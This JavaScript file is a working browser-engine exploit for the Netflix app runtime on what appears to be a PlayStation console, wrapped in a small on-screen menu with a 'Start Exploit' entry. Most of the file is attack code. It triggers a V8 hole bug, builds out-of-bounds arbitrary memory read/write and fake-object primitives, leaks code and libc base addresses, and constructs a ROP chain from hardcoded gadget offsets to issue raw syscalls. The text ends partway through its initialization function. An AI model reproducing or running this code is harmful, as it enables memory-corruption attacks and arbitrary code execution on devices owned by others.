/*
MENU
*/
(function () {
// -------------------------------
// MENU UI
// -------------------------------
var bs = new ArrayBuffer(8);
var fs = new Float64Array(bs);
var is = new BigUint64Array(bs);
/* converts a float to a 64-bit uint */
function ftoi(x) {
fs[0] = x;
return is[0];
}
/* converts a 64-bit uint to a float */
function itof(x) {
is[0] = x;
return fs[0];
}
function trigger() {
let v1;
function f0(v4) { v4(() => {}, v5 => { v1 = v5.errors; }); }
f0.resolve = (v6) => { return v6; };
let v3 = { then(v7, v8) { v8(); } };
Promise.any.call(f0, [v3]);
return v1[1];
}
function hex(value)
{
return "0x" + value.toString(16).padStart(8, "0");
}
var scene = null;
var currentIndex = 0;
var options = ["Start Exploit", "TEST", "Quit ( X )"];
var bar = null;
var logBox = null;
var menuItems = [];
var logLines = []; // all lines for the unified log
const MAX_LOG_LINES = 60;
// --- positions (menu lowered) ---
const START_X = 60;
const START_Y = 160; // lowered so title can sit just above
const STEP_Y = 40;
const BAR_W = 6;
const BAR_H = 28;
// Right-side log panel with border
const LOG_X = 460; // start of the right column
const LOG_Y = 40;
const LOG_W = 1280 - LOG_X - 40; // 40px right margin
const LOG_H = 720 - LOG_Y - 40; // 40px bottom margin
// Whether switching menu should clear logs (set true to clear on navigation)
var CLEAR_ON_MENU_CHANGE = false;
// -------------------------------
// Unified log helper used by menu + test code
// -------------------------------
function updateLogWidget() {
try {
var full = logLines.join("\n");
if (logBox) {
logBox.text = {
contents: full,
size: 10,
color: { a: 255, r: 230, g: 230, b: 230 },
wrap: true,
align: "left"
};
}
} catch (e) { try { console.log("updateLogWidget error: " + e.message); } catch(_) {} }
}
function clearLog() {
logLines = [];
updateLogWidget();
}
// Modified logUI: updates widget and returns a Promise so callers can 'await' it.
function logUI(msg) {
try {
if (msg === undefined || msg === null) msg = "";
var s = String(msg);
var parts = s.split(/\r?\n/);
for (var p = 0; p < parts.length; p++) logLines.push(parts[p]);
while (logLines.length > MAX_LOG_LINES) logLines.shift();
updateLogWidget();
// allow UI to breathe for one frame
return new Promise(function(resolve) { setTimeout(resolve, 16); });
} catch (e) {
try { console.log("logUI error: " + e.message); } catch(_) {}
return Promise.resolve();
}
}
function wait(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
// -------------------------------
// Draw menu and right-side log panel
// -------------------------------
function drawMenu() {
// clear children then recreate static parts
if (scene.children) {
for (var i = scene.children.length - 1; i >= 0; i--) {
scene.removeChild(scene.children[i]);
}
}
menuItems = [];
// Title (simple, just above the menu)
var title = nrdp.gibbon.makeWidget({
x: START_X,
y: START_Y - 60, // 60px above the first menu line
width: 380,
height: 36,
color: "#000000"
});
title.text = {
contents: "MENU BUSHIGAN",
size: 24,
color: { a: 255, r: 229, g: 9, b: 20 },
align: "left"
};
title.parent = scene;
// Red vertical bar (cursor)
bar = nrdp.gibbon.makeWidget({
x: START_X - 10,
y: START_Y + currentIndex * STEP_Y,
width: BAR_W,
height: BAR_H,
color: "#E50914"
});
bar.parent = scene;
// Menu options (flat, compact)
for (var i = 0; i < options.length; i++) {
var item = nrdp.gibbon.makeWidget({
x: START_X,
y: START_Y + i * STEP_Y,
width: 320,
height: BAR_H,
color: "#1b1b1b"
});
item.text = {
contents: options[i],
size: 18,
color: (i === currentIndex)
? { a: 255, r: 255, g: 255, b: 255 }
: { a: 255, r: 160, g: 160, b: 160 }
};
item.parent = scene;
menuItems.push(item);
}
// Right-side log border (outer frame)
var logBorder = nrdp.gibbon.makeWidget({
x: LOG_X - 6,
y: LOG_Y - 6,
width: LOG_W + 12,
height: LOG_H + 12,
color: "#E50914" // Netflix red border
});
logBorder.parent = scene;
// Right-side log panel (inner background)
logBox = nrdp.gibbon.makeWidget({
x: LOG_X,
y: LOG_Y,
width: LOG_W,
height: LOG_H,
color: "#111111"
});
// initial content
var header = "Bushigan Log Console — droite\\n\\nFlèches: naviguer\\nCarré: valider Rond: reset\\n\\n";
logBox.text = {
contents: (logLines.length ? logLines.join("\\n") : header),
size: 10,
color: { a: 255, r: 220, g: 220, b: 220 },
wrap: true,
align: "left"
};
logBox.parent = scene;
}
function refreshCursor() {
// move the bar
try { if (bar) bar.y = START_Y + currentIndex * STEP_Y; } catch (e) {}
// update menu item colors
for (var i = 0; i < menuItems.length; i++) {
var sel = (i === currentIndex);
try {
menuItems[i].text = {
contents: options[i],
size: 18,
color: sel
? { a: 255, r: 255, g: 255, b: 255 }
: { a: 255, r: 160, g: 160, b: 160 }
};
} catch (e) {}
}
}
function send_to_old_gen(){
for (var i = 0; i < 10 ; i++){
nrdp.gibbon.garbageCollect();
}
}
function disable_gc(){ //yeah right lol
time = -1 //9999999999
nrdp.script.garbageCollectTimeout = time;
nrdp.gibbon.garbageCollectTimeout = time;
nrdp.options.garbage_collect_timeout = time;
}
async function runTestReseauAsync(logger) {
await logger("=== Netflix N Hack ===");
try {
let hole = trigger();
let string = "TEXT";
map1 = new Map();
map1.set(1, 1);
map1.set(hole, 1);
map1.delete(hole);
map1.delete(hole);
map1.delete(1);
oob_arr_temp = new Array(1.1, 2.2, 3.3); // Temporal due that cannot reach a bui64 with map
oob_arr = new BigUint64Array([0x4141414141414141n,0x4141414141414141n]);
victim_arr = new BigUint64Array([0x5252525252525252n,0x5252525252525252n]);
obj_arr = new Array({},{});
map1.set(0x10, -1);
nrdp.gibbon.garbageCollect();
map1.set(oob_arr_temp, 0x200);
// Let's make oob_arr oversize
oob_arr_temp[18] = itof(0x1000n*8n); // Size in bytes
oob_arr_temp[19]= itof(0x1000n); // Size in elements
// From this point on we can use oob_arr as a more 'stable' primitive until fake objs
// Elements ptr of victim_arr in first 32b of oob_arr[22]
// external_ptr[0:31] --> (oob_arr[25] & ~0xffffffffn) >> 32n
// external_ptr[63:32] --> (oob_arr[26] & 0xffffffffn) << 32n
// base_ptr[0:31] --> (oob_arr[26] & ~0xffffffffn) >> 32n
// base_ptr[0:31] --> (oob_arr[27] & 0xffffffffn) << 32n
// Elements Ptr of obj_arr in lower 32b (first in mem) of oob_arr[37]
// Value of obj_arr[0] (ptr to obj) in lower 32b (first in mem) of oob_arr[39]
function addrof_unstable (obj) {
obj_arr[0] = obj;
return (oob_arr[39] & 0xffffffffn) -1n;
}
function create_fakeobj_unstable(add) {
let add_32 = add & 0xffffffffn +1n; // Just in case 32bits
let original_value = oob_arr[39]; // Grab full 64bits add in oob_arr[41] to 'save' upper 32bits
let new_value = (original_value & ~0xffffffffn) + ((add+1n) & 0xffffffffn);
oob_arr[39] = new_value;
const fake_obj = obj_arr[0];
return fake_obj;
}
function read64_unstable (add) {
let add_32 = add & 0xffffffffn; // Just in case 32bits
let original_value_25 = oob_arr[25];
let original_value_26 = oob_arr[26];
let external_ptr_org_63_32 = (oob_arr[26] & 0xffffffffn);
oob_arr[25] = (original_value_25 & 0xffffffffn) + (add_32 << 32n);
oob_arr[26] = external_ptr_org_63_32; // re-use upper32 bits of heap from external_ptr, base_ptr 0
let read_value = victim_arr[0]; // Read the value
oob_arr[25] = original_value_25;
oob_arr[26] = original_value_26;
return read_value;
}
function write64_unstable (add, value) {
let add_32 = add & 0xffffffffn; // Just in case 32bits
let original_value_25 = oob_arr[25];
let original_value_26 = oob_arr[26];
let external_ptr_org_63_32 = (oob_arr[26] & 0xffffffffn);
oob_arr[25] = (original_value_25 & 0xffffffffn) + (add_32 << 32n);
oob_arr[26] = external_ptr_org_63_32; // re-use upper32 bits of heap from external_ptr, base_ptr 0
victim_arr[0] = value; // Write the value
oob_arr[25] = original_value_25;
oob_arr[26] = original_value_26;
}
function read32_unstable(add){
let read = read64_unstable(add);
return read & 0xffffffffn;
}
function write32_unstable(add, value) {
let read = read64_unstable(add);
let new_value = (read & ~0xffffffffn) | (BigInt(value) & 0xffffffffn);
write64_unstable(add, new_value);
}
let add_string = addrof_unstable(string) + 12n;
await logger("Address of 'string' text: " + hex(add_string));
await logger("Original value of 'string' (should be 0x54584554): 0x" + read32_unstable(add_string).toString(16) ) ;
write32_unstable(add_string, 0x41414141n);
await logger("Overwritten value of 'string' (should be AAAA): " + string );
let typed_arr = new Int8Array(8);
let base_heap_add = read64_unstable(addrof_unstable(typed_arr) + 10n * 4n) & ~0xffffffffn;
let top32b_heap = base_heap_add >> 32n;
await logger("Base heap address: " + hex(base_heap_add));
await logger("Top 32bits heap address: " + hex(top32b_heap));
let leak_eboot_add = read64_unstable(0x28n); // Read at base heap + 0x28 (upper 32b are completed by v8)
let eboot_base = leak_eboot_add - 0x8966C8n; // This is not realiable as the addess changes
// Previously used offsets: 0x88C76En , 0x8966C8n
// Seems to be a ptr that the app updates while running
// If nothing is changed in the code before this point, it should not change
await logger("Leaked eboot add : " + hex(leak_eboot_add));
await logger("eboot base : " + hex(eboot_base));
/***** Start of Stable Primitives based on fake obj *****/
/***** Base on code from Gezine Y2JB *****/
// Allocate Large Object Space with proper page metadata
// Create object array first to initialize page structures
const stable_array = new Array(0x8000);
for (let i = 0; i < stable_array.length; i++) {
stable_array[i] = {};
}
// Get FixedDoubleArray map from a template
const double_template = new Array(0x10);
double_template.fill(3.14);
const double_template_addr = addrof_unstable(double_template);
const double_elements_addr = read32_unstable(double_template_addr + 0x8n) - 1n;
const fixed_double_array_map = read32_unstable(double_elements_addr + 0x00n);
// Get stable_array addresses
const stable_array_addr = addrof_unstable(stable_array);
const stable_elements_addr = read32_unstable(stable_array_addr + 0x8n) - 1n;
await logger('Large Object Space @ ' + hex(stable_elements_addr));
// Transform elements to FixedDoubleArray
// This makes GC happy later
write32_unstable(stable_elements_addr + 0x00n, fixed_double_array_map);
logger('Converted stable_array to double array');
for (let i = 0; i < stable_array.length; i++) {
stable_array[i] = 0;
}
console.log("Reserved space filled with 0s");
// Get templates for stable primitives
/***** Template for BigUint64Array *****/
const template_biguint = new BigUint64Array(64);
const template_biguint_addr = addrof_unstable(template_biguint);
const biguint_map = read32_unstable(template_biguint_addr + 0x00n);
const biguint_props = read32_unstable(template_biguint_addr + 0x04n);
const biguint_elements = read32_unstable(template_biguint_addr + 0x08n) - 1n;
const biguint_buffer = read32_unstable(template_biguint_addr + 0x0Cn) - 1n;
const biguint_elem_map = read32_unstable(biguint_elements + 0x00n);
const biguint_elem_len = read32_unstable(biguint_elements + 0x04n);
const biguint_buffer_map = read32_unstable(biguint_buffer + 0x00n);
const biguint_buffer_props = read32_unstable(biguint_buffer + 0x04n);
const biguint_buffer_elem = read32_unstable(biguint_buffer + 0x08n);
const biguint_buffer_bitfield = read32_unstable(biguint_buffer + 0x24n);
/***** Template for Object Array *****/
const template_obj_arr = [{},{}];
const template_obj_arr_addr = addrof_unstable(template_obj_arr);
const obj_arr_map = read32_unstable(template_obj_arr_addr + 0x00n);
const obj_arr_props = read32_unstable(template_obj_arr_addr + 0x04n);
const obj_arr_elements = read32_unstable(template_obj_arr_addr + 0x08n) - 1n;
const obj_arr_len = read32_unstable(template_obj_arr_addr + 0x0Cn);
const obj_arr_elem_map = read32_unstable(obj_arr_elements + 0x00n);
const obj_arr_elem_len = read32_unstable(obj_arr_elements + 0x04n);
logger('Templates extracted');
const base = stable_elements_addr + 0x100n;
/*******************************************************/
/***** Memory Layout for fake Objects *****/
/*******************************************************/
/***** fake_rw header: 0x0000 *****/
/***** fake_rw buffer: 0x0040 *****/
/***** fake_rw elements: 0x1000 *****/
/*******************************************************/
/***** fake_bui64_arr header: 0x0100 (inside rw) *****/
/***** fake_bui64_arr buffer: 0x0150 (inside rw) *****/
/***** fake_bui64_arr elements: 0x1100 *****/
/*******************************************************/
/***** fake_obj_arr header: 0x0200 (inside rw) *****/
/***** fake_obj_arr elements: 0x0250 (inside rw) *****/
/*******************************************************/
// Inside fake_rw_data: fake Array's elements (at the beginning)
const fake_rw_obj = base + 0x0000n;
const fake_rw_obj_buffer = base + 0x0040n;
const fake_rw_obj_elements = base + 0x1000n;
const fake_bui64_arr_obj = base + 0x0100n;
const fake_bui64_arr_buffer = base + 0x0150n;
const fake_bui64_arr_elements = base + 0x1100n;
const fake_obj_arr_obj = base + 0x0200n;
const fake_obj_arr_elements = base + 0x0250n;
/*******************************************************************************************************/
/********** Init Fake OOB BigUInt64Array **********/
/*******************************************************************************************************/
write32_unstable(fake_rw_obj_buffer + 0x00n, biguint_buffer_map);
write32_unstable(fake_rw_obj_buffer + 0x04n, biguint_buffer_props);
write32_unstable(fake_rw_obj_buffer + 0x08n, biguint_buffer_elem);
write32_unstable(fake_rw_obj_buffer + 0x0cn, 0x1000n*8n); // byte_length lower 32b
write32_unstable(fake_rw_obj_buffer + 0x14n, fake_rw_obj_elements + 8n +1n); // backing_store lower 32b
write32_unstable(fake_rw_obj_buffer + 0x18n, top32b_heap); // backing_store upper 32b
write32_unstable(fake_rw_obj_buffer + 0x24n, biguint_buffer_bitfield); // bit_field
write32_unstable(fake_rw_obj_elements + 0x00n, biguint_elem_map);
write32_unstable(fake_rw_obj_elements + 0x04n, biguint_elem_len); // Fake size in bytes
write32_unstable(fake_rw_obj + 0x00n, biguint_map);
write32_unstable(fake_rw_obj + 0x04n, biguint_props);
write32_unstable(fake_rw_obj + 0x08n, fake_rw_obj_elements + 1n);
write32_unstable(fake_rw_obj + 0x0Cn, fake_rw_obj_buffer + 1n);
write64_unstable(fake_rw_obj + 0x18n, 0x8000n); // Fake size in bytes
write64_unstable(fake_rw_obj + 0x20n, 0x1000n); // Fake size in elements
write32_unstable(fake_rw_obj + 0x28n, fake_rw_obj_buffer + 16n*4n); // external_pointer lower 32b
write32_unstable(fake_rw_obj + 0x2Cn, top32b_heap); // external_pointer upper 32b
write32_unstable(fake_rw_obj + 0x30n, 0n); // base_pointer lower 32b
write32_unstable(fake_rw_obj + 0x34n, 0n); // base_pointer upper 32b
/*******************************************************************************************************/
/********** End Fake OOB BigUInt64Array **********/
/*******************************************************************************************************/
/*******************************************************************************************************/
/********** Init Fake Victim BigUInt64Array **********/
/*******************************************************************************************************/
write32_unstable(fake_bui64_arr_buffer + 0x00n, biguint_buffer_map);
write32_unstable(fake_bui64_arr_buffer + 0x04n, biguint_buffer_props);
write32_unstable(fake_bui64_arr_buffer + 0x08n, biguint_buffer_elem);
write32_unstable(fake_bui64_arr_buffer + 0x0cn, 0x1000n*8n); // byte_length lower 32b
write32_unstable(fake_bui64_arr_buffer + 0x14n, fake_bui64_arr_elements + 8n +1n); // backing_store lower 32b
write32_unstable(fake_bui64_arr_buffer + 0x18n, top32b_heap); // backing_store upper 32b
write32_unstable(fake_bui64_arr_buffer + 0x24n, biguint_buffer_bitfield); // bit_field
write32_unstable(fake_bui64_arr_elements + 0x00n, biguint_elem_map);
write32_unstable(fake_bui64_arr_elements + 0x04n, biguint_elem_len); // Fake size in bytes
write32_unstable(fake_bui64_arr_obj + 0x00n, biguint_map);
write32_unstable(fake_bui64_arr_obj + 0x04n, biguint_props);
write32_unstable(fake_bui64_arr_obj + 0x08n, fake_bui64_arr_elements + 1n);
write32_unstable(fake_bui64_arr_obj + 0x0Cn, fake_bui64_arr_buffer + 1n);
write64_unstable(fake_bui64_arr_obj + 0x18n, 0x40n); // Fake size in bytes
write64_unstable(fake_bui64_arr_obj + 0x20n, 0x08n); // Fake size in elements
write32_unstable(fake_bui64_arr_obj + 0x28n, fake_bui64_arr_buffer + 16n*4n); // external_pointer lower 32b
write32_unstable(fake_bui64_arr_obj + 0x2Cn, top32b_heap); // external_pointer upper 32b
write32_unstable(fake_bui64_arr_obj + 0x30n, 0n); // base_pointer lower 32b
write32_unstable(fake_bui64_arr_obj + 0x34n, 0n); // base_pointer upper 32b
/*******************************************************************************************************/
/********** End Fake Victim BigUInt64Array **********/
/*******************************************************************************************************/
/*******************************************************************************************************/
/********** Init Fake Obj Array **********/
/*******************************************************************************************************/
write32_unstable(fake_obj_arr_obj + 0x00n, obj_arr_map);
write32_unstable(fake_obj_arr_obj + 0x04n, obj_arr_props);
write32_unstable(fake_obj_arr_obj + 0x08n, fake_obj_arr_elements+1n);
write32_unstable(fake_obj_arr_obj + 0x0cn, obj_arr_len); // byte_length lower 32b
write32_unstable(fake_obj_arr_elements + 0x00n, obj_arr_elem_map);
write32_unstable(fake_obj_arr_elements + 0x04n, obj_arr_elem_len); // size in bytes << 1
/*******************************************************************************************************/
/********** End Fake Obj Array **********/
/*******************************************************************************************************/
// Materialize fake objects
const fake_rw = create_fakeobj_unstable(fake_rw_obj);
let fake_rw_add = addrof_unstable(fake_rw);
//log("This is the add of fake_rw materialized : " + hex(fake_rw_add));
const fake_victim = create_fakeobj_unstable(fake_bui64_arr_obj);
let fake_victim_add = addrof_unstable(fake_victim);
//log("This is the add of fake_victim materialized : " + hex(fake_victim_add));
const fake_obj_arr = create_fakeobj_unstable(fake_obj_arr_obj);
let fake_obj_arr_add = addrof_unstable(fake_obj_arr);
//log("This is the add of fake_obj_arr materialized : " + hex(fake_obj_arr_add));
// Now we have OOB, Victim and Obj to make stable primitives
function addrof (obj) {
fake_obj_arr[0] = obj;
return (fake_rw[59] & 0xffffffffn) - 1n;
}
/***** The following primitives r/w a compressed Add *****/
/***** The top 32 bits are completed with top32b_heap *****/
function read64 (add) {
let add_32 = add & 0xffffffffn; // Just in case
let original_value = fake_rw[21];
fake_rw[21] = (top32b_heap<<32n) + add_32; // external_ptr of buffer
let read_value = fake_victim[0];
fake_rw[21] = original_value;
return read_value;
}
function write64 (add, value) {
let add_32 = add & 0xffffffffn; // Just in case
let original_value = fake_rw[21];
fake_rw[21] = (top32b_heap<<32n) + add_32; // external_ptr of buffer
fake_victim[0] = value;
fake_rw[21] = original_value;
}
function read32(add){
let read = read64(add);
return read & 0xffffffffn;
}
function write32(add, value) {
let read = read64(add);
let new_value = (read & ~0xffffffffn) | (BigInt(value) & 0xffffffffn);
write64(add, new_value);
}
function read16(add){
let read1 = read64(add);
return read1 & 0xffffn;
}
function write16(add, value) {
let read = read64(add);
let new_value = (read & ~0xffffn) | (BigInt(value) & 0xffffn);
write64(add, new_value);
}
function read8(add){
let read = read64(add);
return read & 0xffn;
}
function write8(add, value) {
let read = read64(add);
let new_value = (read & ~0xffn) | (BigInt(value) & 0xffn);
write64(add, new_value);
}
/***** The following primitives r/w a full 64bits Add *****/
function read64_uncompressed (add) {
let original_value = fake_rw[21];
fake_rw[21] = add; // external_ptr of buffer
let read_value = fake_victim[0];
fake_rw[21] = original_value;
return read_value;
}
function write64_uncompressed (add, value) {
let original_value = fake_rw[21];
fake_rw[21] = add; // external_ptr of buffer
fake_victim[0] = value;
fake_rw[21] = original_value;
}
function read32_uncompressed(add){
let read = read642_uncompressed(add);
return read & 0xffffffffn;
}
function write32_uncompressed(add, value) {
let read = read64_uncompressed(add);
let new_value = (read & ~0xffffffffn) | (BigInt(value) & 0xffffffffn);
write64_uncompressed(add, new_value);
}
function read16_uncompressed(add){
let read = read64_uncompressed(add);
return read & 0xffffn;
}
function write16_uncompressed(add, value) {
let read = read64_uncompressed(add);
let new_value = (read & ~0xffffn) | (BigInt(value) & 0xffffn);
write64_uncompressed(add, new_value);
}
function read8_uncompressed(add){
let read = read64_uncompressed(add);
return read & 0xffn;
}
function write8_uncompressed(add, value) {
let read = read64_uncompressed(add);
let new_value = (read & ~0xffn) | (BigInt(value) & 0xffn);
write64_uncompressed(add, new_value);
}
function get_backing_store(typed_array) {
const obj_addr = addrof(typed_array);
const external = read64(obj_addr + 0x28n);
const base = read64(obj_addr + 0x30n);
return base + external;
}
let allocated_buffers = [];
function malloc (size) {
const buffer = new ArrayBuffer(size);
const buffer_addr = addrof(buffer);
const backing_store = read64(buffer_addr + 0x14n);
allocated_buffers.push(buffer);
logger("Returned backing_store in malloc: " + hex(backing_store) );
return backing_store;
}
logger("Stable Primitives Achieved.");
const rop_chain = new BigUint64Array(0x1000);
const rop_address = get_backing_store(rop_chain);
log("Address of ROP obj: " + hex(addrof(rop_chain)) );
log("Address of ROP: " + hex(rop_address) );
function rop_smash (x) {
let a = 100;
return 0x1234567812345678n; // We need a function with a 'constant' element
}
let value_delete = rop_smash(1); // Generate Bytecode
add_rop_smash = addrof(rop_smash);
logger("This is the add of function 'rop_smash': " + hex(add_rop_smash) );
add_rop_smash_sharedfunctioninfo = read32(add_rop_smash + 0x0Cn) -1n;
add_rop_smash_code = read32(add_rop_smash_sharedfunctioninfo + 0x04n) -1n;
add_rop_smash_code_store = add_rop_smash_code + 0x22n;
//add_rop_smash_constants_list = read32(add_rop_smash_code + 0x08n) -1n;
//add_rop_smash_constant_0 = read32(add_rop_smash_constants_list + 0x08n) -1n + 8n;
const fake_frame = new BigUint64Array(8); // Up to 8 * 8bytes are created inmediatly before the main Obj
const add_fake_frame = addrof(fake_frame);
const white_space_2 = new BigInt64Array(8);
const white_space_3 = new BigInt64Array(8);
logger("Address of fake_frame: 0x" + hex(add_fake_frame) );
const fake_bytecode_buffer = new BigUint64Array(8);
const add_fake_bytecode_store = get_backing_store(fake_bytecode_buffer);
logger("Address of fake_bytecode_buffer: " + hex(addrof(fake_bytecode_buffer)) );
logger("Address of add_fake_bytecode_store: " + hex(add_fake_bytecode_store) );
const return_value_buffer = new BigUint64Array(8);
const return_value_addr = get_backing_store(return_value_buffer);
logger("Address of return_value_buffer: " + hex(addrof(return_value_buffer)) );
logger("Address of return_value_buffer_store: " + hex(return_value_addr) );
/** Gadgets for Function Arguments **/
const g_pop_rax = 0x6c233n;
const g_pop_rdi = 0x1a729bn;
const g_pop_rsi = 0x14d8n;
const g_pop_rdx = 0x3ec42n;
const g_pop_rcx = 0x2485n;
const g_pop_r8 = 0x6c232n;
const g_pop_r9 = 0x66511bn;
/** Other Gadgets **/
const g_pop_rbp = 0x79n;
const g_pop_rbx = 0x2e1ebn;
const g_pop_rsp = 0x1df1e1n;
const g_pop_rsp_pop_rbp = 0x17ecb4en;
const g_mov_qword_ptr_rdi_rax = 0x1dcba9n;
/***** LibC *****/
const libc_base = read64_uncompressed(eboot_base + 0x241F2B0n) - 0x1C0n;
logger("libc base : " + hex(libc_base));
//const libc_base2 = read64_uncompressed(eboot_base + 0x27EC408n) - 0x2C17n;
//log("libc base: " + hex(libc_base2));
const gettimeofdayAddr = read64_uncompressed(libc_base + 0x10f998n);
logger("gettimeofdayAddr : " + hex(gettimeofdayAddr));
const syscall_wrapper = gettimeofdayAddr + 0x7n;
logger("syscall_wrapper : " + hex(syscall_wrapper));
/***** LibKernel *****/ // TO DO
//const libkernel_base = 0x80EA14000n;
//log("libkernel base: " + hex(libkernel));
fake_bytecode_buffer[0] = 0xABn;
fake_bytecode_buffer[1] = 0x00n;
fake_bytecode_buffer[2] = 0x00n; // Here is the value of RBP , force 0
/*
Address Instruction
734217FB jmp 0x73421789
734217FD mov rbx, qword ptr [rbp - 0x20] --> Fake Bytecode buffer on rbx
73421801 mov ebx, dword ptr [rbx + 0x17] --> Fake Bytecode buffer + 0x17 (part of fake_bytecode[2])
73421804 mov rcx, qword ptr [rbp - 0x18] --> Value forced to 0xff00000000000000
73421808 lea rcx, [rcx*8 + 8]
73421810 cmp rbx, rcx
73421813 jge 0x73421818 --> Because of forced value, it jumps right to the leave
73421815 mov rbx, rcx
73421818 leave
73421819 pop rcx
7342181A add rsp, rbx --> RBX should be 0 here
7342181D push rcx
7342181E ret
*/
write64(add_fake_frame - 0x20n, add_fake_bytecode_store); // Put the return code (by pointer) in R14
// this is gonna be offseted by R9
write64(add_fake_frame - 0x28n, 0x00n); // Force the value of R9 = 0
write64(add_fake_frame - 0x18n, 0xff00000000000000n); // Fake value for (Builtins_InterpreterEntryTrampoline+286) to skip break * Builtins_InterpreterEntryTrampoline+303
write64(add_fake_frame + 0x08n, eboot_base + g_pop_rsp); // pop rsp ; ret --> this change the stack pointer to your stack
write64(add_fake_frame + 0x10n, rop_address);
// This function is calling a given function address and takes all arguments
// Returns the value returned by the called function
function call_rop (address, rax = 0x0n, arg1 = 0x0n, arg2 = 0x0n, arg3 = 0x0n, arg4 = 0x0n, arg5 = 0x0n, arg6 = 0x0n) {
write64(add_rop_smash_code_store, 0xab0025n);
real_rbp = addrof(rop_smash(1)) + 0x700000000n -1n +2n; // We only leak lower 32bits, stack seems always be at upper 32bits 0x7
// Value is tagged, remove 1n
// Seems offseted by 2 bytes
let i = 0;
// Syscall Number (Syscall Wrapper)
rop_chain[i++] = eboot_base + g_pop_rax;
rop_chain[i++] = rax;
// Arguments
rop_chain[i++] = eboot_base + g_pop_rdi;
rop_chain[i++] = arg1;
rop_chain[i++] = eboot_base + g_pop_rsi;
rop_chain[i++] = arg2;
rop_chain[i++] = eboot_base + g_pop_rdx;
rop_chain[i++] = arg3;
rop_chain[i++] = eboot_base + g_pop_rcx;
rop_chain[i++] = arg4;
rop_chain[i++] = eboot_base + g_pop_r8;
rop_chain[i++] = arg5;
rop_chain[i++] = eboot_base + g_pop_r9;
rop_chain[i++] = arg6;
// Call Syscall Wrapper / Function
rop_chain[i++] = address;
// Store return value to return_value_addr
rop_chain[i++] = eboot_base + g_pop_rdi;
rop_chain[i++] = return_value_addr;
rop_chain[i++] = eboot_base + g_mov_qword_ptr_rdi_rax;
// Return to JS
rop_chain[i++] = eboot_base + g_pop_rax;
rop_chain[i++] = 0x2000n; // Fake value in RAX to make JS happy
rop_chain[i++] = eboot_base + g_pop_rsp_pop_rbp;
rop_chain[i++] = real_rbp;
write64(add_rop_smash_code_store, 0xab00260325n);
oob_arr[39] = add_fake_frame;
rop_smash(obj_arr[0]); // Call ROP
//return BigInt(return_value_buffer[0]); // Return value returned by function
// Seems like this is not being executed
}
function syscall(syscall_num, arg1 = 0x0n, arg2 = 0x0n, arg3 = 0x0n, arg4 = 0x0n, arg5 = 0x0n, arg6 = 0x0n)
{
logger("Enter syscall syscall_num : " + hex(syscall_num) );
logger("Enter syscall arg1 : " + hex(arg1) );
logger("Enter syscall arg2 : " + hex(arg2) );
logger("Enter syscall arg3 : " + hex(arg3) );
call_rop(syscall_wrapper, syscall_num, arg1, arg2, arg3, arg4, arg5, arg6);
return_value = return_value_buffer[0];
logger("Returning from rop - value: " + hex(return_value));
return return_value;
}
let SYSCALL = {
read: 0x3n,
write: 0x4n,
open: 0x5n,
close: 0x6n,
getuid: 0x18n,
getsockname: 0x20n,
accept: 0x1en,
socket: 0x61n,
connect: 0x62n,
bind: 0x68n,
setsockopt: 0x69n,
listen: 0x6an,
getsockopt: 0x76n,
sysctl: 0xcan,
netgetiflist: 0x7dn,
};
const O_RDONLY = 0n;
const O_WRONLY = 1n;
const O_RDWR = 2n;
const O_CREAT = 0x100n;
const O_TRUNC = 0x1000n;
const O_APPEND = 0x2000n;
const O_NONBLOCK = 0x4000n;
function write_string(addr, str) {
//const encoder = new TextEncoder();
//const bytes = encoder.encode(str);
const add_of_str = addrof(str) + 12n;
for (let i = 0; i < str.length; i++) {
byte = read8(add_of_str + BigInt(i));
write8_uncompressed(addr + BigInt(i), byte);
}
write8_uncompressed(addr + BigInt(str.length), 0);
}
function alloc_string(str) {
//const encoder = new TextEncoder();
//const bytes = encoder.encode(str);
const add_of_str = addrof(str) + 12n;;
const addr = malloc(str.length + 1); // Full 64bits Add
for (let i = 0; i < str.length; i++) {
byte = read8(add_of_str + BigInt(i));
write8_uncompressed(addr + BigInt(i), byte);
}
write8_uncompressed(addr + BigInt(str.length), 0);
return addr;
}
function send_notification(text) {
const notify_buffer_size = 0xc30n;
const notify_buffer = malloc(Number(notify_buffer_size));
const icon_uri = "cxml://psnotification/tex_icon_system";
// Setup notification structure
write32_uncompressed(notify_buffer + 0x0n, 0); // type
write32_uncompressed(notify_buffer + 0x28n, 0); // unk3
write32_uncompressed(notify_buffer + 0x2cn, 1); // use_icon_image_uri
write32_uncompressed(notify_buffer + 0x10n, 0xffffffff); // target_id (-1 as unsigned)
// Write message at offset 0x2D
write_string(notify_buffer + 0x2dn, text);
// Write icon URI at offset 0x42D
write_string(notify_buffer + 0x42dn, icon_uri);
// Open /dev/notification0
const dev_path = alloc_string("/dev/notification0");
const fd = syscall(SYSCALL.open, dev_path, O_WRONLY);
if (Number(fd) < 0) {
return;
}
syscall(SYSCALL.write, fd, notify_buffer, notify_buffer_size);
syscall(SYSCALL.close, fd);
}
send_notification("Netflix-n-Hack ;)");
} catch (e) {
log("EXCEPTION: " + e.message);
log(e.stack);
}
}
// -------------------------------
// Input handling: Square launches async runner
// -------------------------------
var previousIndex = currentIndex;
function onKey(ev) {
if (!ev || !ev.data || ev.data.type !== "press") return;
var k = ev.data.uiEvent;
if (k === "key.down") {
currentIndex = (currentIndex + 1) % options.length;
if (CLEAR_ON_MENU_CHANGE && currentIndex !== previousIndex) clearLog();
previousIndex = currentIndex;
refreshCursor();
//logUI("Sélection : " + options[currentIndex]);
return;
}
if (k === "key.up") {
currentIndex = (currentIndex - 1 + options.length) % options.length;
if (CLEAR_ON_MENU_CHANGE && currentIndex !== previousIndex) clearLog();
previousIndex = currentIndex;
refreshCursor();
//logUI("Sélection : " + options[currentIndex]);
return;
}
if (k === "key.top_menu") { // Square = validate
// Launch async runner without blocking UI
(async function(){
if (currentIndex === 0) {
await logUI("[MENU] Starting exploit...");
await runTestReseauAsync(logUI);
//await logUI("[MENU] Stop.");
} else if (currentIndex === 1) {
//await logUI("[MENU] Non implémenté.");
} else {
//await logUI("[MENU] Quitter (pas d'action).");
}
})();
return;
}
if (k === "key.back") { // Circle = reset
currentIndex = 0;
previousIndex = 0;
refreshCursor();
clearLog();
//logUI("0 pressed (reset)");
return;
}
if (k === "key.enter") { logUI(""); return; }
if (k === "key.options") { logUI(""); return; }
logUI("Touche non mappée: " + k);
}
// -------------------------------
// Initialization
// -------------------------------
function main() {
scene = nrdp.gibbon.makeWidget({ width: 1280, height: 720, color: "#000000", focusable: true });
scene.focus = true;
try { nrdp.gibbon.scene.widget = scene; } catch (e) {}
